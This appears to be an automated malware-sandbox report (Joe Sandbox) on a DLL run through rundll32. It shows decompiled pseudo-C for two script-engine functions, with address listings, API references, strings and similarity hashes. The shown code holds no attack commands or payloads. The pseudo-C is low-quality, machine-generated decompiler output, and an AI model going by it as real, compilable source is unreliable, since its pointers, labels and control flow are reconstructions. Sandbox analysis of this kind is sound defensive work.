COMMON

Download Yara Rule

C-Code - Quality: 21%

			E10014DD0(signed int __ecx, intOrPtr _a4, char* _a8, char _a12, char* _a16, intOrPtr _a20, signed int _a24) {
				signed int _v8;
				char _v16;
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char* _v36;
				char _v48;
				char _v60;
				signed int _t150;
				char* _t152;
				char* _t155;
				char _t156;
				intOrPtr _t159;
				signed char _t160;
				intOrPtr* _t183;
				void* _t187;
				signed char _t189;
				char* _t190;
				char _t191;
				intOrPtr _t214;
				char* _t216;
				intOrPtr _t221;
				void* _t226;
				intOrPtr _t230;
				intOrPtr* _t231;
				intOrPtr* _t232;
				char* _t233;
				char* _t242;
				char _t303;
				intOrPtr _t304;
				intOrPtr _t310;
				void* _t312;
				signed int _t315;
				signed int _t317;
				signed int _t319;
				void* _t320;

				_push(0xffffffff);
				_push(0x1005fa26);
				_push( *[fs:0x0]);
				_t150 =  *0x10094144; // 0x3a5d9654
				_push(_t150 ^ _t319);
				_t152 =  &_v16;
				 *[fs:0x0] = _t152;
				_v20 = _t320 - 0x2c;
				_t315 = __ecx;
				_v24 = __ecx;
				if( *((char*)(__ecx + 0x10a)) != 0) {
					L72:
					 *[fs:0x0] = _v16;
					return _t152;
				} else {
					_t230 = _a4;
					_t310 = _a20;
					if(_t230 != 0x50) {
						 *0x1006a2c8();
					}
					if( *((intOrPtr*)(_t315 + 0xd0)) != 0) {
						 *0x1006a32c();
						_t231 = _a16;
						_v8 = 1;
						if(_t230 == 0x43) {
							 *0x1006a4c4( *((intOrPtr*)( *((intOrPtr*)( *_t231 + 4))))());
							_t214 =  *_t231;
							_t295 =  *(_t214 + 4);
							_t312 = 0;
							if( *( *(_t214 + 4))() != 0) {
								do {
									_t216 =  *0x1006a560(_t312);
									_a16 = _t216;
									 *0x1006a170( *0x1006a308(_t312));
									 *((intOrPtr*)( *((intOrPtr*)( *_t315 + 0xe0))))(_a16, 1);
									_t221 =  *_t231;
									_t295 =  *(_t221 + 4);
									_t312 = _t312 + 1;
								} while (_t312 <  *( *(_t221 + 4))());
							}
							_t310 = _a20;
						}
						if(E10009120(_t315) != 0) {
							_t304 =  *((intOrPtr*)(E10009120(_t315)));
							_t295 =  *(_t304 + 0x24);
							 *( *(_t304 + 0x24))(_t315, 0x73746172, 0 |  *((intOrPtr*)(_t315 + 0x6c)) != 0x00000000);
						}
						_t155 = _a8;
						_v28 = _t155;
						if(_t155 != 0) {
							 *((intOrPtr*)(_t155 + 0x22)) =  *((intOrPtr*)(_t155 + 0x22)) + 1;
						}
						_t156 = _a12;
						_v32 = _t156;
						if(_t156 != 0) {
							 *((intOrPtr*)(_t156 + 0x22)) =  *((intOrPtr*)(_t156 + 0x22)) + 1;
						}
						_v8 = 4;
						if( *((intOrPtr*)(_t315 + 0xc8)) != 0) {
							L42:
							 *0x1006a2c8();
							goto L43;
						} else {
							_t187 = _a4 + 0xffffffbd;
							if(_t187 <= 0xd) {
								switch( *((intOrPtr*)(( *(_t187 + 0x1001536c) & 0x000000ff) * 4 +  &M10015358))) {
									case 0:
										if((_a24 & 0x00000100) == 0) {
											__ecx = _a8;
											 *__ecx =  *((intOrPtr*)( *__ecx + 0xa4));
											_push(__edi);
											__edx =  &_v48;
											_push( &_v48);
											__edx = _a12;
											_push(__edx);
											goto L25;
										} else {
											__eax = _a8;
											__ecx =  *((intOrPtr*)(__eax + 0x72));
											__edx =  *__esi;
											__edx =  *((intOrPtr*)( *__esi + 0xd4));
											_push(__eax);
											__eax =  &_v48;
											_push( &_v48);
											_push(__ecx);
											_push(__edi);
											__ecx = __esi;
											__eax =  *__edx();
										}
										goto L26;
									case 1:
										_push(0);
										_t205 =  *0x1006a308();
										_t273 =  *0x1009415c; // 0x0
										_t206 = E10004140(_t273, _t205);
										_t295 =  *_a8;
										_push(0);
										_push(_t310);
										_push(_t206);
										_t207 =  *((intOrPtr*)( *_a8 + 0x94));
										goto L25;
									case 2:
										__ecx = _a8;
										__edx =  *__ecx;
										__eax = _a12;
										__edx =  *((intOrPtr*)( *__ecx + 0xa8));
										_push(_a12);
										__eax =  *__edx();
										goto L26;
									case 3:
										_push(0);
										__ecx = __ebx;
										__eax =  *0x1006a308();
										__ecx =  *0x1009415c; // 0x0
										__eax = E10004140(__ecx, __eax);
										__ecx = _a8;
										__edx =  *__ecx;
										_push(0);
										_push(__edi);
										_push(__eax);
										__eax =  *((intOrPtr*)(__edx + 4));
										L25:
										 *_t207();
										goto L26;
									case 4:
										goto L26;
								}
							}
							L26:
							if( *((intOrPtr*)(_t315 + 0xc8)) != 0) {
								goto L42;
							} else {
								if( *0x1006a204() == 5 && _a24 != 0) {
									_t295 =  *_t315;
									 *((intOrPtr*)( *((intOrPtr*)( *_t315 + 0xe0))))(_t310, 1);
								}
								if( *((intOrPtr*)(_t310 + 0x10)) != 5) {
									L43:
									_v8 = 3;
								} else {
									_t233 =  *(_t310 + 8);
									if(_t233 == 0) {
										goto L43;
									} else {
										_t189 = _a24;
										if((_t189 & 0x00000003) != 0) {
											_t233[0x22] = _t233[0x22] + 1;
											_v36 = _t233;
											 *(_t315 + 0x9c) = _t233;
											_t303 =  *_t233;
											_t295 =  *(_t303 + 0x3c);
											_a16 =  *(_t315 + 0x9c);
											_v8 = 5;
											 *( *(_t303 + 0x3c))(_t310, _t189 & 1);
											 *(_t315 + 0x9c) = _a16;
											if( *0x1006a204() == 5) {
												_t295 =  *_t315;
												 *((intOrPtr*)( *((intOrPtr*)( *_t315 + 0x24))))(0x17);
											}
											_t83 =  &(_t233[0x22]);
											 *_t83 = _t233[0x22] - 1;
											_v8 = 4;
											if( *_t83 == 0) {
												_t295 =  *_t233;
												 *((intOrPtr*)( *((intOrPtr*)( *_t233 + 0x14))))();
											}
										}
										if( *((intOrPtr*)(_t310 + 0x10)) != 5) {
											goto L43;
										} else {
											_t190 =  *(_t310 + 8);
											if(_t190 == 0 || _t190[0x6e] == 0x2000008d) {
												goto L43;
											} else {
												_t191 = _t190[0x14];
												if(_t191 == 0) {
													goto L43;
												} else {
													 *0x1006a468(_t191, 0);
													_v8 = 3;
												}
											}
										}
									}
								}
							}
						}
						_t232 = _a12;
						if(_a4 == 0x43 && ( *(_t315 + 0x1c) & 0x0000ff00) != 0) {
							E10012D10(_t315, _t295, 0);
						}
						if(E10009120(_t315) != 0) {
							_t183 = E10009120(_t315);
							 *((intOrPtr*)( *((intOrPtr*)( *_t183 + 0x24))))(_t315, 0x73746f70, 0 |  *((intOrPtr*)(_t315 + 0x6c)) != 0x00000000);
						}
						_t159 =  *((intOrPtr*)(_t315 + 0x7c));
						if(_t159 != 0 &&  *((char*)(_t315 + 0xce)) != 0) {
							 *0x1006a160();
							_a12 = _t159 + 4;
							 *0x1006a3d4();
							_v8 = 9;
							if( *((intOrPtr*)(_t315 + 0x6c)) == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t315 + 0x7c)))) + 8))))(_t315);
								 *((char*)(_t315 + 0xce)) = 0;
							}
							_v8 = 3;
							 *0x1006a3d8();
						}
						_t160 = _a24;
						if((_t160 & 0x00000040) == 0) {
							L59:
							if( *((intOrPtr*)(_t315 + 0xc8)) != 0 &&  *((intOrPtr*)(_t315 + 0x6c)) == 0) {
								L10012F90(_t315);
							}
						} else {
							if( *((intOrPtr*)(_t315 + 0xc8)) != 0) {
								if((_t160 & 0x00000001) == 0) {
									E10014420(_t315, _a20);
								} else {
									 *0x1006a190();
									_v8 = 0xa;
									 *((intOrPtr*)( *((intOrPtr*)( *_t315 + 0x34))))( &_a12);
									 *0x1006a3dc();
									 *0x1006a290( &_a12);
									_v8 = 3;
									 *0x1006a184();
								}
								goto L59;
							}
						}
						if( *((intOrPtr*)(_t315 + 0xc8)) == 0xffffffe4) {
							 *0x1006a550();
							if( *0x1006a54c() != 0) {
								_a8 = "bad allocation";
								 *0x1006a0f8( &_a8, 1);
								_push(0x1007bf6c);
								_push( &_v60);
								_v60 = 0x1006cafc;
								L1005C168();
							}
						}
						_t317 = _t315 | 0xffffffff;
						_v8 = 2;
						if(_t232 != 0) {
							_t138 = _t232 + 0x22;
							 *_t138 =  *((intOrPtr*)(_t232 + 0x22)) + _t317;
							if( *_t138 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t232 + 0x14))))();
							}
						}
						_t242 = _a8;
						_v8 = 1;
						if(_t242 != 0) {
							_t143 =  &(_t242[0x22]);
							 *_t143 = _t242[0x22] + _t317;
							if( *_t143 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t242 + 0x14))))();
							}
						}
						_v8 = _t317;
						_t152 =  *0x1006a31c();
						goto L72;
					} else {
						 *0x1006a248("Engine not initialized");
						_v8 = 0;
						 *((intOrPtr*)( *((intOrPtr*)( *_t315 + 0x2c))))(1,  &_a12, 0xffffffff, 0);
						_v8 = 0xffffffff;
						_t226 =  *0x1006a184();
						 *[fs:0x0] = _v16;
						return _t226;
					}
				}
			}

0x10014dd3
0x10014dd5
0x10014de0
0x10014de7
0x10014dee
0x10014def
0x10014df2
0x10014df8
0x10014dfb
0x10014dfd
0x10014e07
0x10015344
0x10015347
0x10015355
0x10014e0d
0x10014e0d
0x10014e10
0x10014e16
0x10014e1a
0x10014e1a
0x10014e27
0x10014e78
0x10014e81
0x10014e84
0x10014e8b
0x10014e9a
0x10014ea0
0x10014ea2
0x10014ea7
0x10014ead
0x10014eb0
0x10014eb4
0x10014ebd
0x10014eca
0x10014ee0
0x10014ee2
0x10014ee4
0x10014ee9
0x10014eec
0x10014eb0
0x10014ef0
0x10014ef0
0x10014efc
0x10014f05
0x10014f07
0x10014f1b
0x10014f1b
0x10014f1d
0x10014f20
0x10014f25
0x10014f27
0x10014f27
0x10014f2a
0x10014f2d
0x10014f32
0x10014f34
0x10014f34
0x10014f3e
0x10014f42
0x100150d5
0x100150d7
0x00000000
0x10014f48
0x10014f4b
0x10014f51
0x10014f5e
0x00000000
0x10014fca
0x10014fe7
0x10014fec
0x10014ff2
0x10014ff3
0x10014ff6
0x10014ff7
0x10014ffa
0x00000000
0x10014fcc
0x10014fcc
0x10014fcf
0x10014fd2
0x10014fd4
0x10014fda
0x10014fdb
0x10014fde
0x10014fdf
0x10014fe0
0x10014fe1
0x10014fe3
0x10014fe3
0x00000000
0x00000000
0x10014f65
0x10014f69
0x10014f6f
0x10014f76
0x10014f7e
0x10014f80
0x10014f82
0x10014f83
0x10014f84
0x00000000
0x00000000
0x10014fb0
0x10014fb3
0x10014fb5
0x10014fb8
0x10014fbe
0x10014fbf
0x00000000
0x00000000
0x10014f8c
0x10014f8e
0x10014f90
0x10014f96
0x10014f9d
0x10014fa2
0x10014fa5
0x10014fa7
0x10014fa9
0x10014faa
0x10014fab
0x10014ffb
0x10014ffb
0x00000000
0x00000000
0x00000000
0x00000000
0x10014f5e
0x10014ffd
0x10015004
0x00000000
0x1001500a
0x10015015
0x1001501d
0x1001502a
0x1001502a
0x10015030
0x100150dd
0x100150dd
0x10015036
0x10015036
0x1001503b
0x00000000
0x10015041
0x10015041
0x10015046
0x10015048
0x1001504b
0x10015059
0x1001505f
0x10015061
0x10015065
0x1001506b
0x1001506f
0x10015076
0x10015085
0x10015087
0x10015090
0x10015090
0x10015092
0x10015092
0x10015095
0x10015099
0x1001509b
0x100150a2
0x100150a2
0x10015099
0x100150a8
0x00000000
0x100150aa
0x100150aa
0x100150af
0x00000000
0x100150ba
0x100150ba
0x100150bf
0x00000000
0x100150c1
0x100150c6
0x100150cc
0x100150cc
0x100150bf
0x100150af
0x100150a8
0x1001503b
0x10015030
0x10015004
0x10015116
0x10015119
0x10015128
0x10015128
0x10015136
0x1001513a
0x10015155
0x10015155
0x10015157
0x1001515c
0x1001516d
0x10015175
0x10015178
0x10015182
0x10015186
0x10015191
0x10015193
0x10015193
0x1001519d
0x100151a1
0x100151a1
0x100151a7
0x100151ac
0x100152aa
0x100152b1
0x100152ba
0x100152bf
0x100151b2
0x100151b9
0x100151c1
0x100152a5
0x100151c7
0x100151ca
0x100151db
0x100151df
0x100151e3
0x100151f0
0x100151f9
0x100151fd
0x100151fd
0x00000000
0x100151c1
0x100151b9
0x100152c9
0x100152cb
0x100152db
0x100152e6
0x100152ed
0x100152f3
0x100152fb
0x100152fc
0x10015303
0x10015303
0x100152db
0x10015308
0x1001530b
0x10015311
0x10015313
0x10015313
0x10015316
0x1001531f
0x1001531f
0x10015316
0x10015321
0x10015324
0x1001532a
0x1001532c
0x1001532c
0x1001532f
0x10015336
0x10015336
0x1001532f
0x1001533b
0x1001533e
0x00000000
0x10014e29
0x10014e31
0x10014e48
0x10014e4f
0x10014e54
0x10014e5b
0x10014e64
0x10014e72
0x10014e72
0x10014e27

APIs

lgetCallback@Engine@ScScript@@QBEPAVCallback@2@XZ.MAIN ref: 10014EF5
lgetCallback@Engine@ScScript@@QBEPAVCallback@2@XZ.MAIN ref: 10014F00
ladd@DataPool@ScScript@@QAEHABVVariant@ScCore@@@Z.MAIN(00000000), ref: 10014F76
ladd@DataPool@ScScript@@QAEHABVVariant@ScCore@@@Z.MAIN(00000000), ref: 10014F9D
lgetCallback@Engine@ScScript@@QBEPAVCallback@2@XZ.MAIN ref: 1001512F
lgetCallback@Engine@ScScript@@QBEPAVCallback@2@XZ.MAIN ref: 1001513A

Strings

C, xrefs: 10015112
Engine not initialized, xrefs: 10014E29

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$Callback@Callback@2@Engine@lget$Core@@@DataPool@Variant@ladd@
String ID: C$Engine not initialized
API String ID: 356191326-483028992
Opcode ID: 8f073c068817788902436c63e367b84a2d0e148dbb932f2a24f6866941db5168
Instruction ID: 2fbeee61e6b85625270ce8a18f8a898ff6354d029d429a7922b017fb5059fdbc
Opcode Fuzzy Hash: 8f073c068817788902436c63e367b84a2d0e148dbb932f2a24f6866941db5168
Instruction Fuzzy Hash: DBF18874600245DFDB04DFA4C894BAEB7F6FF89341F118119E8168B3A1DBB5EA85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1003CD00 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 348
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E1003CD00(void* __ecx, void* __edx, void* __fp0, void* _a4) {
				char _v8;
				char _v16;
				char _v17;
				intOrPtr _v24;
				intOrPtr* _v28;
				intOrPtr* _v32;
				intOrPtr _v36;
				void* _v40;
				void* _v88;
				char _v92;
				signed int _t85;
				intOrPtr _t92;
				intOrPtr* _t93;
				intOrPtr* _t94;
				void* _t112;
				intOrPtr* _t119;
				intOrPtr* _t123;
				intOrPtr* _t124;
				intOrPtr _t126;
				void* _t128;
				intOrPtr* _t130;
				void* _t132;
				intOrPtr _t133;
				intOrPtr* _t182;
				void* _t187;
				signed int _t192;
				void* _t193;
				void* _t194;
				void* _t201;

				_t201 = __fp0;
				_push(0xffffffff);
				_push(E100653FB);
				_push( *[fs:0x0]);
				_t194 = _t193 - 0x4c;
				_t85 =  *0x10094144; // 0x3a5d9654
				_push(_t85 ^ _t192);
				 *[fs:0x0] =  &_v16;
				_t187 = __ecx;
				if((L10009E50() & 0xffffff00 |  &_v17 -  *((intOrPtr*)(_t88 + 0x10)) > 0x00000000) != 0) {
					_t176 =  *((intOrPtr*)(_t187 + 0x88));
					_t182 = 0;
					 *((intOrPtr*)(_t187 + 0x88)) =  &_v40;
					 *((char*)(_t187 + 0x100)) = 0;
					_v40 = 0;
					_v32 = 0;
					_v36 =  *((intOrPtr*)(_t187 + 0x88));
					__eflags =  *((intOrPtr*)(_t187 + 0x7e));
					if( *((intOrPtr*)(_t187 + 0x7e)) == 0) {
						while(1) {
							__eflags =  *((intOrPtr*)(_t187 + 0xa8)) - 2;
							if( *((intOrPtr*)(_t187 + 0xa8)) != 2) {
								goto L19;
							}
							_t19 = _t187 + 4; // 0x4
							_t112 = L100436F0(_t19);
							__eflags = _t112 - 0x3a;
							if(_t112 == 0x3a) {
								E10043420( &_v92);
								_t22 = _t187 + 4; // 0x4
								_v8 = 1;
								E10044D80(_t22, _t201,  &_v92, 0);
								__eflags = _v92 - 0x4000003a;
								if(_v92 != 0x4000003a) {
									_t40 = _t187 + 4; // 0x4
									E100435F0(_t40,  &_v92);
									_v8 = 0xffffffff;
									 *0x1006a1c8();
								} else {
									__eflags = _v32;
									_t176 =  *((intOrPtr*)(_t187 + 0x8c));
									_t27 = _t187 + 0x8c; // 0x8c
									_t132 = _t27;
									_v24 =  *((intOrPtr*)(_t187 + 0x8c));
									if(_v32 == 0) {
										_t123 =  *0x1006a1d0(0x28);
										_t194 = _t194 + 4;
										_v28 = _t123;
										_v8 = 2;
										__eflags = _t123;
										if(_t123 == 0) {
											_t124 = 0;
											__eflags = 0;
										} else {
											_t124 = E10038270(_t132);
										}
										_v8 = 1;
										_v32 = _t124;
									}
									E1003A9F0(_t187, 0);
									_t133 = _v24;
									_t119 =  *0x1006a3ac(_t133);
									__eflags = _t119;
									if(_t119 < 0) {
										__eflags = _v32 + 0x20;
										 *0x1006a180(_t133);
									} else {
										E1003AAC0(_t187, _t176, 0xb, 0);
									}
									_v8 = 0xffffffff;
									 *0x1006a1c8();
									__eflags =  *((char*)(_t187 + 0x7e));
									if( *((char*)(_t187 + 0x7e)) == 0) {
										continue;
									} else {
									}
								}
							}
							goto L19;
						}
					}
					L19:
					_t92 =  *((intOrPtr*)(_t187 + 0x8c));
					 *((intOrPtr*)(_t187 + 0xf4)) =  *((intOrPtr*)(_t187 + 0xf4)) + 1;
					_t46 = _t187 + 0x8c; // 0x8c
					_t130 = _t46;
					__eflags = _t92 - 0x4000003b;
					if(__eflags > 0) {
						_t93 = _t92 - 0x4000007b;
						__eflags = _t93;
						if(__eflags == 0) {
							_t94 = E1003D3A0(_t187, _t176, __eflags, _t201, 0);
							goto L57;
						} else {
							__eflags = _t93 == 2;
							if(_t93 == 2) {
								__eflags =  *((intOrPtr*)(_t187 + 0xe8));
								if( *((intOrPtr*)(_t187 + 0xe8)) < 0) {
									E1003AAC0(_t187, _t176, 0xd, 0);
								}
							} else {
								goto L53;
							}
						}
						goto L58;
					} else {
						if(__eflags == 0) {
							_t182 = 0;
							goto L58;
						} else {
							__eflags = _t92 - 0x6b;
							if(_t92 > 0x6b) {
								L53:
								_t94 = E1003E550(_t187, _t176, _t201, 0, 0);
								goto L57;
							} else {
								switch( *((intOrPtr*)(( *(_t92 + 0x1003d1bc) & 0x000000ff) * 4 +  &M1003D17C))) {
									case 0:
										__eflags =  *((intOrPtr*)(__esi + 0xa8));
										if( *((intOrPtr*)(__esi + 0xa8)) != 0) {
											goto L53;
										} else {
											__eflags =  *((intOrPtr*)(__esi + 0xe8));
											if( *((intOrPtr*)(__esi + 0xe8)) < 0) {
												__eflags =  *((char*)(__esi + 0x7e));
												if( *((char*)(__esi + 0x7e)) != 0) {
													_push(0);
													_push(0x33);
													goto L47;
												}
											} else {
												_push(0);
												_push(0xe);
												L47:
												__ecx = __esi;
												__eax = E1003AAC0(__esi, __edx);
											}
											__edx = _v36;
											_push(0x20);
											 *((intOrPtr*)(__esi + 0x88)) = _v36;
											__eax =  *0x1006a1d0();
											__esp = __esp + 4;
											_a4 = __eax;
											_v8 = 4;
											__eflags = __eax;
											if(__eax == 0) {
												goto L3;
											} else {
												__ecx = __eax;
												__eax = L10037F00(__eax, __ebx);
												__ecx = _v16;
												 *[fs:0x0] = _v16;
												_pop(__ecx);
												_pop(__esi);
												_pop(__ebx);
												return __eax;
											}
										}
										goto L75;
									case 1:
										__ecx = __esi;
										__eax = E1003ACB0(__ecx, __edx);
										goto L57;
									case 2:
										__ecx = __esi;
										__eax = E1003AAC0(__ecx, __edx, 0x10, 0);
										goto L58;
									case 3:
										__eflags = _a4;
										if(_a4 != 0) {
											__ecx = __esi;
											__eax = E1003AAC0(__esi, __edx, 8, 0);
										}
										__ecx = __esi;
										__eax = E1003C9C0(__ecx);
										goto L57;
									case 4:
										_push(0x20);
										__eax =  *0x1006a1d0();
										__esp = __esp + 4;
										_a4 = __eax;
										_v8 = 3;
										__eflags = __eax;
										if(__eax == 0) {
											__eax = 0;
											__eflags = 0;
										} else {
											__ecx = __eax;
											__eax = E10037280(__ebx);
										}
										__ecx = __esi;
										_v8 = 0xffffffff;
										__eax = E1003A9F0(__ecx, 0);
										goto L58;
									case 5:
										__ecx = __esi;
										__eax = L1003B700(__ecx);
										goto L57;
									case 6:
										__ecx = __esi;
										__eax = E1003C9E0(__ecx);
										goto L57;
									case 7:
										__ecx = __esi;
										__eax = E1003D480(__ecx, __fp0);
										goto L57;
									case 8:
										__ecx = __esi;
										__eax = E1003B810(__ecx, __edx);
										goto L57;
									case 9:
										__ecx = __esi;
										__eax = L1003AEA0(__edx);
										goto L57;
									case 0xa:
										_t94 = E1003B3B0(_t187, _t176);
										goto L57;
									case 0xb:
										__ecx = __esi;
										__eax = L1003AF80(__edx);
										goto L57;
									case 0xc:
										__ecx = __esi;
										__eax = E1003BA30(__ecx, __edx);
										goto L57;
									case 0xd:
										__ecx = __esi;
										__eax = E1003BCD0(__ecx, __edx);
										goto L57;
									case 0xe:
										__ecx = __esi;
										__eax = E1003B010(__edx);
										L57:
										_t182 = _t94;
										L58:
										 *((intOrPtr*)(_t187 + 0xf4)) =  *((intOrPtr*)(_t187 + 0xf4)) - 1;
										__eflags =  *_t130 - 0x4000003b;
										while( *_t130 == 0x4000003b) {
											 *((char*)(_t187 + 0x100)) = 1;
											E1003A9F0(_t187, 0);
											__eflags =  *_t130 - 0x4000003b;
										}
										__eflags = _t182;
										if(_t182 == 0) {
											_push(0x20);
											_t107 =  *0x1006a1d0();
											_t194 = _t194 + 4;
											_a4 = _t107;
											_v8 = 5;
											__eflags = _t107;
											if(_t107 == 0) {
												_t108 = 0;
												__eflags = 0;
											} else {
												_t108 = L10037F00(_t107, _t130);
											}
											_v8 = 0xffffffff;
											_t182 = _t108;
										}
										__eflags = _v32;
										if(_v32 != 0) {
											__eflags =  *((intOrPtr*)(_t182 + 8)) - 0x33;
											if( *((intOrPtr*)(_t182 + 8)) != 0x33) {
												L73:
												 *((intOrPtr*)(_v32 + 0x24)) = _t182;
												_t182 = _v32;
											} else {
												_push( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t182 + 8))))() + 0x20)) + 8)));
												_t99 =  *0x1006a3ac();
												__eflags = _t99;
												if(_t99 < 0) {
													goto L73;
												} else {
													_t146 = _v32;
													__eflags = _t146;
													if(_t146 != 0) {
														_push(1);
														 *((intOrPtr*)( *((intOrPtr*)( *_t146))))();
													}
													_push(1);
													 *((intOrPtr*)( *((intOrPtr*)( *_t182))))();
													_push(0x20);
													_t102 =  *0x1006a1d0();
													_a4 = _t102;
													_v8 = 6;
													__eflags = _t102;
													if(_t102 == 0) {
														_t182 = 0;
													} else {
														_t182 = L10037F00(_t102, _t130);
													}
												}
											}
										}
										 *((intOrPtr*)(_t187 + 0x88)) = _v36;
										 *[fs:0x0] = _v16;
										return _t182;
										goto L75;
									case 0xf:
										goto L53;
								}
							}
						}
					}
				} else {
					E1003AAC0(_t187, __edx, 0x1b, 0);
					_t126 =  *0x1006a1d0(0x20);
					_a4 = _t126;
					_v8 = 0;
					if(_t126 == 0) {
						L3:
						__eflags = 0;
						 *[fs:0x0] = _v16;
						return 0;
					} else {
						_t128 = E10037280(_t187 + 0x8c);
						 *[fs:0x0] = _v16;
						return _t128;
					}
				}
				L75:
			}

0x1003cd00
0x1003cd03
0x1003cd05
0x1003cd10
0x1003cd11
0x1003cd17
0x1003cd1e
0x1003cd22
0x1003cd28
0x1003cd3a
0x1003cd98
0x1003cda1
0x1003cda3
0x1003cdac
0x1003cdb3
0x1003cdb6
0x1003cdb9
0x1003cdbc
0x1003cdbe
0x1003cdc4
0x1003cdc4
0x1003cdcb
0x00000000
0x00000000
0x1003cdd1
0x1003cdd4
0x1003cdd9
0x1003cddd
0x1003cde6
0x1003cdf1
0x1003cdf4
0x1003cdfb
0x1003ce00
0x1003ce07
0x1003cea2
0x1003cea5
0x1003cead
0x1003ceb4
0x1003ce0d
0x1003ce0d
0x1003ce11
0x1003ce17
0x1003ce17
0x1003ce1d
0x1003ce20
0x1003ce24
0x1003ce2a
0x1003ce2d
0x1003ce30
0x1003ce34
0x1003ce36
0x1003ce42
0x1003ce42
0x1003ce38
0x1003ce3b
0x1003ce3b
0x1003ce44
0x1003ce48
0x1003ce48
0x1003ce4f
0x1003ce57
0x1003ce5e
0x1003ce64
0x1003ce66
0x1003ce79
0x1003ce7c
0x1003ce68
0x1003ce6e
0x1003ce6e
0x1003ce85
0x1003ce8c
0x1003ce92
0x1003ce96
0x00000000
0x00000000
0x1003ce9c
0x1003ce96
0x1003ce07
0x00000000
0x1003cddd
0x1003cdc4
0x1003ceba
0x1003ceba
0x1003cec0
0x1003cec6
0x1003cec6
0x1003cecc
0x1003ced1
0x1003d050
0x1003d050
0x1003d055
0x1003d083
0x00000000
0x1003d057
0x1003d057
0x1003d05a
0x1003d069
0x1003d070
0x1003d078
0x1003d078
0x00000000
0x00000000
0x00000000
0x1003d05a
0x00000000
0x1003ced7
0x1003ced7
0x1003d04c
0x00000000
0x1003cedd
0x1003cedd
0x1003cee0
0x1003d05c
0x1003d062
0x00000000
0x1003cee6
0x1003ceed
0x00000000
0x1003cfe1
0x1003cfe8
0x00000000
0x1003cfea
0x1003cfea
0x1003cff1
0x1003cff9
0x1003cffd
0x1003cfff
0x1003d001
0x00000000
0x1003d001
0x1003cff3
0x1003cff3
0x1003cff5
0x1003d003
0x1003d003
0x1003d005
0x1003d005
0x1003d00a
0x1003d00d
0x1003d00f
0x1003d015
0x1003d01b
0x1003d01e
0x1003d021
0x1003d028
0x1003d02a
0x00000000
0x1003d030
0x1003d031
0x1003d033
0x1003d038
0x1003d03b
0x1003d042
0x1003d044
0x1003d045
0x1003d049
0x1003d049
0x1003d02a
0x00000000
0x00000000
0x1003cf48
0x1003cf4a
0x00000000
0x00000000
0x1003cf70
0x1003cf72
0x00000000
0x00000000
0x1003cfc4
0x1003cfc8
0x1003cfce
0x1003cfd0
0x1003cfd0
0x1003cfd5
0x1003cfd7
0x00000000
0x00000000
0x1003cf88
0x1003cf8a
0x1003cf90
0x1003cf93
0x1003cf96
0x1003cf9d
0x1003cf9f
0x1003cfab
0x1003cfab
0x1003cfa1
0x1003cfa2
0x1003cfa4
0x1003cfa4
0x1003cfaf
0x1003cfb1
0x1003cfba
0x00000000
0x00000000
0x1003cf00
0x1003cf02
0x00000000
0x00000000
0x1003cf0c
0x1003cf0e
0x00000000
0x00000000
0x1003cf7c
0x1003cf7e
0x00000000
0x00000000
0x1003cf18
0x1003cf1a
0x00000000
0x00000000
0x1003cf24
0x1003cf26
0x00000000
0x00000000
0x1003cef6
0x00000000
0x00000000
0x1003cf54
0x1003cf56
0x00000000
0x00000000
0x1003cf60
0x1003cf62
0x00000000
0x00000000
0x1003cf30
0x1003cf32
0x00000000
0x00000000
0x1003cf3c
0x1003cf3e
0x1003d088
0x1003d088
0x1003d08a
0x1003d08a
0x1003d090
0x1003d096
0x1003d09c
0x1003d0a3
0x1003d0a8
0x1003d0a8
0x1003d0b0
0x1003d0b2
0x1003d0b4
0x1003d0b6
0x1003d0bc
0x1003d0bf
0x1003d0c2
0x1003d0c9
0x1003d0cb
0x1003d0d7
0x1003d0d7
0x1003d0cd
0x1003d0d0
0x1003d0d0
0x1003d0d9
0x1003d0e0
0x1003d0e0
0x1003d0e2
0x1003d0e6
0x1003d0e8
0x1003d0ec
0x1003d152
0x1003d155
0x1003d158
0x1003d0ee
0x1003d0fd
0x1003d104
0x1003d10a
0x1003d10c
0x00000000
0x1003d10e
0x1003d10e
0x1003d111
0x1003d113
0x1003d119
0x1003d11b
0x1003d11b
0x1003d121
0x1003d125
0x1003d127
0x1003d129
0x1003d132
0x1003d135
0x1003d13c
0x1003d13e
0x1003d14e
0x1003d140
0x1003d148
0x1003d148
0x1003d13e
0x1003d10c
0x1003d0ec
0x1003d15e
0x1003d169
0x1003d177
0x00000000
0x00000000
0x00000000
0x00000000
0x1003ceed
0x1003cee0
0x1003ced7
0x1003cd3c
0x1003cd42
0x1003cd49
0x1003cd52
0x1003cd55
0x1003cd5e
0x1003cd82
0x1003cd82
0x1003cd87
0x1003cd95
0x1003cd60
0x1003cd69
0x1003cd71
0x1003cd7f
0x1003cd7f
0x1003cd5e
0x00000000

APIs

lget@ESContext@ScScript@@SAAAV12@XZ.MAIN(3A5D9654,4000003B,00000000,00000000), ref: 1003CD2A

Part of subcall function 10009E50: l?0ESContext@ScScript@@IAE@XZ.MAIN ref: 10009E70

l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(-0000008C,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 1003CD69
l?0LabelNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C,00000000), ref: 1003CE3B

